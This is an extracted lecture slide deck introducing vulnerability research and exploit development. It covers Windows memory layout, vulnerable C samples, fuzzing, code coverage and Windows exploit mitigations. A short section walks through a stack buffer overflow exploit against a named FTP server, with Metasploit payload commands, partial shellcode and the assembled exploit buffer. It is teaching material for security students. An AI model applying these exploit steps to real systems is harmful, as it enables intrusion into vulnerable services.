Curs Vulnerabilitati

8/9/2019 Curs Vulnerabilitati

1/46

Introduction toVulnerability Research andExploit Development

ASE, Information Security Master

December 2011

Adrian Furtun, PhD

[email protected]


2/46

2

Agenda Background information

Compiled versus interpreted applications

X86 processors

Memory layout of a Windows process

Part I - Discovery of software vulnerabilities Vulnerability categories

White box testing

Black box testing

Part II - Exploitation of software vulnerabilities

Stack based buffer overflows

Security protections in Windows


3/46

Background information

3


4/46

4

Compiled versus Interpreted applications Compiled applications

Source code -> [compiler] -> machine code -> [executed by CPU] Fast, efficient, complex, low-level Examples: C, C++, BASIC, Delphi, Lisp, Fortran, Pascal

Interpreted applications Source code -> [executed by Interpreter] -> [executed by CPU] Examples: ASP, PHP, Python, Perl, Rubyor Source code -> [compiler] -> Intermediate language -> [executed

by Interpreter] -> [executed by CPU]

Examples: Java, C#, VB.NET

Slower, platform independent, high-level The runtime environment offers security, memory management,

exception handling, threading, etc

Background info


5/46

5

X86 processors

Background info

Processor registries

FLAGS registry

Endianess = the way bytes areordered within a single 16-, 32 or

64-bit word in memory

Little-endian- most significant byte last- x86, ARM

Big-endian- most significant byte first- network byte order- PPC, MIPS, SPARC


6/46

6

Memory layout of a Windows process (1) 32 bit systems -> 4GB of virtual memory / process

User space memory: 0x00000000 -> 0x7FFFFFFF

Kernel space memory: 0x80000000 -> 0xFFFFFFFF

Background info


7/46

7

Memory layout of a Windows process (2) Memory segments (sections):

data

rdata BSS

heap

stack

text

Exe files respect the

Portable Executable (PE) formathttp://msdn.microsoft.com/en-us/magazine/cc301805.aspx

Background info


8/46

8

Memory layout of a Windows process (3) Stack operation:

Background info


9/46

Part I - Discovery of

software vulnerabilities

9


10/46

10

Target applications (most wanted)

Applications that receive input over the network

Applications that run at a higher privilege levelthan a user

Client-side applications

Applications that process valuable information Credentials

Personal information

Part I Discovery of software vulnerabilities


11/46

11

Vulnerability categories Errors in:

Design Implementation (programming)

Configuration

Common vulnerabilities in compiled apps(unmanaged code):

Buffer overflow (stack or heap)

Use after free Integer overflows / undeflow

Format strings

Array out of bounds => memory leaks



12/46

12

Buffer overflow example#include

int main(int argc, char *argv[])

{

char buff[20];

printf("copying into buffer");

strcpy(buff,argv[1]);

return 0;

}


Other unsafe functions: sprintf

gets strcpy


13/46

13

Integer overflow exampleint[] filter(uint len, int[] numbers)

{

uint newLen = len * 3/4;

int[] buf = new int[newLen];int j = 0;

for(int i = 0; i < len; i++)

{

if (i % 4 != 0)buf[j++] = numbers[i];

}

return buf;

}



14/46

14

Format string vulnerability examplevoid main (int argc,

char **argv)

{

/* Whatever the user said, spit back! */

printf (argv[1]);

}

Format tokens: %s %x %n



15/46

15

Testing approaches White-box testing

Black-box testing



16/46

16

White-box testing (1) Access to source code and documentation

Focus on data entry points: user input

command line arguments

environment variables network sockets

pipes

files registry

system calls, etc

Part I Discovery of Software Vulnerabilities


17/46

17

White-box testing (2) Static analysis (source code auditing)

Top-down approach start from data entry points and search for data validation measures

Bottom-up approach start from application entry point (main function) and follow all code

paths with focus on code that handles user input and data I/O



18/46

18

White-box testing (3) Dynamic analysis

Analyze target program at runtime

Observe behavior and try to induce error states

..


19/46

19

Black-box testing (1) Fuzzing aka fault injection

Little knowledge about the internals of the targetapplication

Send unexpected, semi-valid input data to

applications interfaces Detect unexpected behavior, crashes, denial of

service



20/46

20

The fuzzing process Investigation

determine target application, interfaces and functionality to test

Modeling

configure / choose fuzzer to send data according to applicationexpectations

Validation verify the model

Running

send fuzzed data in multiple iterations

Monitoring

detect faults, errors, abnormal states

Crash analysis

determine if crash is exploitable



21/46

21

Generation of fuzzing data (1) Mutation based fuzzing

Modify valid data in order to obtain various mutations Bit flipping

Adding / removing bytes

Replacing random bytes with special values: (0xFF, 0x00, 0x0F, etc)

Does not require knowledge about data format Easy to setup and automate

Breaks data validation measures (ex. checksums)

Examples of mutation based fuzzers: Taof, Proxyfuzz, File Fuzz, Filep, Peach Shark, etc



22/46

22

Generation of fuzzing data (2) Mutation based fuzzing example:

Find vulnerabilities in Adobe Flash Player: Search for public swf files on Internet (using search

engines)

Build a list of URLs from where they can be downloaded

For each swf from URL list Download swf

For each mutation type (bit flipping, replacing bytes, adding bytes, etc)

Mutate swf Play the mutated swf with Adobe Flash Player

Record crashes/ abnormal behavior



23/46

23

Generation of fuzzing data (3) Mutation based fuzzing on a valid pdf file:



24/46

24

Generation of fuzzing data (4) Generation based fuzzing:

Requires knowledge about the format of input data Network protocol (ex. HTTP, FTP, RPC, SMB, etc)

File format specifications (ex. GIF, PNG, PDF, ZIP, DOC, etc)

Documentation / Reverse engineering of proprietary data transfers

Can comply with protocols dependencies (computechecksums)

Difficult to write for complex protocols

Application implementation may differ from protocolspecifications

Examples of generation based fuzzers: Protos, Codenomicon, Mu-4000, FTPFuzz, AxMan, etc



25/46

25

Generation of fuzzing data (5) Generation based fuzzing example (HTTP

Request):

Method URL HTTP/Version major.Version minor

GET /index.php HTTP/1.1

AAAAAA...AAAA /index.php HTTP/1.1

GET ////////////////index.php HTTP/1.1

GET %n%n%n%n%n%n.php HTTP/1.1 78

GET /AAAAAAAAAAAAA.php HTTP/1.1

GET /index.php HTTTTTTTTTTTTTP/1.1

GET /index.php HTTP/1.1.1.1.1.1.1.1

GET /index.php HTTP/1.-999999999



26/46

26

Fuzzing frameworks Can be adapted to fuzz custom applications

Contain useful modules: Data generators / mutators

Target monitors

Crash analyzers Examples:

Spike

Peach Sulley

.



27/46

27

Target monitoring Detect errors / abnormal states during fuzzing

Must correlate findings with input data Examples:

Ask the application to do a regular operation and check

if the response is as expected Check memory usage, CPU usage, I/O operations, etc

Attach a debugger to the target application and detectexceptions / crashes (obtain CPU registers values, stacktrace, current instruction, type of exception)


P I Di f f l bili i


28/46

28

Code coverage (1) When to stop fuzzing? => When we covered all code

Code coverage = the amount of process state a fuzzer

induces a targets process to reach and execute[1] Code coverage can be measured as:

the number of source code lines that have been executed (linecoverage)

the number of conditional jumps (branches) that have been taken(branch coverage)

the number of code paths that have been taken (path coverage)

Can be used to identify which initial data (e.g. files,

network packets) are better to be used as starting points inmutation based fuzzing

Profiling tools: gcov, PIN, DinamoRio, etc

[1] M. Sutton, A. Greene, P. Amini: Fuzzing : Brute Force Vulnerability Discovery, Addison-Wesley, 2007


P t I Di f ft l biliti


29/46

29

Code coverage (2) Example:

if( x > 5 )

x = 5;

if( y > 5 )

y = 5;

How many test cases are required to achieve complete

code coverage? For line coverage:

1 test case (x,y)={(6,6)}

For branch coverage: 2 test cases (x,y)={(6,6), (4,4)}

For path coverage:

4 test cases (x,y) = {(4,4), (4, 6), (6, 4), (6, 6)}




30/46

30

Code coverage (3) Code coverage is closely related to the state

machine of each target application

In order to reach the vulnerable code, the inputdata must create the necessary state

Otherwise it will end-up in error state:


Vulnerablecode


31/46

Part II Exploit development

31



32/46

32

Objective

Exploit the vulnerability in order to:

Obtain arbitrary code execution or

Crash / hang application

(not every vulnerability is exploitable)




33/46

33

Tools

Debuggers

Immunity Debugger

Olly Debugger

IDA Pro

WinDbg

Development & running environment Perl

Python

Ruby

C




34/46

34

Investigate exploitation possibilities

(We assume that we know how to trigger the vulnerability. See Part I)

EIP overwrite

SEH overwrite Function pointer overwrite

Other application specific condition

Other questions:

Target application has SafeSEH support? Target application has DEP support?

Target application has ASLR support?




35/46

35

General technique for exploitation of buffer

overflows on stack




36/46

36

Writing an exploit (1)

Get vulnerable application:

FTP server

http://www.freefloat.com/sv/freefloat-ftp-server/freefloat-ftp-server.php

Fuzz and obtain crash

FTP fuzzer

http://www.infigo.hr/files/ftpfuzz.zip

EIP overwrite

p p



37/46

37


What part of the input data overwrote EIP?

Determine EIP offset in buffer

Metasploit/tools/pattern_create.rb Metasploit/tools/pattern_offset.rb

Or manual search

AAAAAAAAAAA.AAAAAAAAAAAAAAAAAA

p p



38/46

38


Search for a JMP ESP instruction

EIP 0x77DEF069



39/46

39


Determine how much space we have to placeshellcode

Create shellcode Metasploit:

./msfpayload windows/exec CMD=calc.exe P

Find and eliminate bad chars./msfpayload windows/exec CMD=calc.exe R |

./msfencode e x86/shikata_ga_nai b\x00\x0a\x0d t perl



40/46

40


Shellcode:$sc =

"\xba\x47\x42\x9a\xc0\xda\xcf\xd9\x74\x24\xf4\x5e\x2b\xc9" .

"\xb1\x33\x31\x56\x12\x83\xc6\x04\x03\x11\x4c\x78\x35\x61" .

.....

"\xaf\xdd\x42\xfa\xcf\x72\x62\x2f\xac\x15\xf0\xb3\x1d\xb0" .

"\x70\x51\x62";

Assemble exploit buffer# 0x77DEF069 = JMP ESP (advapi32.dll)

$EIP = "\x69\xF0\xDE\x77";

$buf = 'A'x251 . $EIP . "\x90"x40 . $sc . "AAAAAAAA\r\n";

Send buffer to server

=> calc.exe



41/46

41

Windows defense mechanisms

Stack Cookies

Compiler option(Visual C++): /GS

d hPart II Exploit development


42/46

42

Windows protection mechanisms-

SafeSEH SEH = Structured Exception Handling

For each try-catch sequence the compiler introducesadditional code which:

Adds a new Exception Registration Record in SEHchain

Deletes the ERR before function return

The ERR points to the exception handling code

Linker option: /safeseh

SafeSEH determines the exception handling

mechanism to check if the pointer to exceptionhandler is approved

=> Overwriting the exception handler with arbitraryvalue does not lead to code execution

Wi d t ti h iPart II Exploit development


43/46

43

Windows protection mechanisms

Data Execution Prevention (DEP) Introduced in Windows XP SP2 and Windows 2003

Server SP1

Uses the NX technology of modern processors todeny execution of code from memory pagesmarked as non-executable:

Stack

Heap

Linker option (Visual C++): /nxcompat

=> Shellcode placed on the stack cannot bedirectly executed

Wi d t ti h iPart II Exploit development


44/46

44

Windows protection mechanisms

Address Space Layout Randomization Randomizes the base address of various memory

regions commonly used in exploits:

Executable / DLL image Stack

Heap

TEB / PEB Linker option (Visual C++): /dynamicbase

=> Exploits that use hard coded addresses no

longer work



45/46

45

Checking for enabled protections

PE Optional Header -> DllCharacteristicsFlag value Meaning

IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE

0x0040

The DLL can be relocated at load time.

IMAGE_DLLCHARACTERISTICS_NX_COMPAT

0x0100

The image is compatible with data execution

prevention (DEP).

IMAGE_DLLCHARACTERISTICS_NO_SEH

0x0400

The image does not use structured exception

handling (SEH). No handlers can be called

in this image.


46/46

46

Q & A

?

Curs Vulnerabilitati

Documents

Transcript of Curs Vulnerabilitati